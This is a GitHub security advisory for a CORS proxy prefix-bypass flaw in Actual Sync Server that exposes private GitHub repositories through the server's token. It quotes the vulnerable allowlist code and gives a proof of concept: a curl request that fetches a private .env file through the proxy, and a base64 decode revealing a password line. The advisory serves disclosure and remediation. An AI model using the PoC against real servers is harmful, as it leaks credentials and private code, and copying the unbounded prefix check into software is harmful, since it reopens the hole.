GitHub Advisoryadvisory · npm
GHSA-m62c-5q34-f3cf Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
HIGH
Official page ↗
- Aliases
- CVE-2026-57449
- Ecosystem
- npm
- Packages
- @actual-app/sync-server
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-200, CWE-284, CWE-863
- Reviewed
- 2026-10-07
Affected packages
• npm @actual-app/sync-server: < 26.7.0 → fixed in 26.7.0
Description
Summary
Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:
```text
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
```
Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server's `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
Affected Endpoint
• `GET /cors-proxy?url=...`
This endpoint is mounted only when:
```js
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
```
Source: `packages/sync-server/src/app.ts:68-70`
Details
The CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:
```js
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
```
Source: `packages/sync-server/src/load-config.js:280-296`
The proxy fetches the plugin allowlist and stores repository URLs:
```js
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
```
Source: `packages/sync-server/src/app-cors-proxy.js:43-50`
The GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:
```js
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
```
Source: `packages/sync-server/src/app-cors-proxy.js:84-99`
For `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
```js
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
```
Source: `packages/sync-server/src/app-cors-proxy.js:192-201`
Therefore the vulnerable flow is:
1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.
2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.
3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.
4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.
5. Any authenticated Actual user calls:
```text
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
```
6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.
7. The proxy sends the request to GitHub with the server token.
8. The response is returned to the low-privileged Actual user.
PoC
Preconditions
1. `ACTUAL_CORS_PROXY_ENABLED=true`.
2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.
3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
4. The attacker has any valid Actual session token.
Example:
• Allowlisted public repo: `https://github.com/acme/plugin`
• Private target repo: `https://github.com/acme/plugin-private`
• Private file: `.env`
Manual Reproduction
Step 1: Request a private repo file through the Actual CORS proxy:
```bash
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
```
Vulnerable result:
```json
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
```
Step 2: Decode the returned `content` field:
```bash
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
```
Example decoded output:
```text
PROD_DB_PASSWORD=...
```
Python PoC
Attached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
Impact
• Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
• Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
• If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
• Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.
Recommended Remediation
• Parse and compare GitHub API repository path segments exactly.
• Replace:
```js
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
```
with an exact boundary-aware check:
```js
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
```
• Apply the same boundary discipline to every allowlist branch.
• Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.
• Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
Related
Alias · CVE (1)
- CVE-2026-57449 Actual is a local-first personal finance tool. vulnerability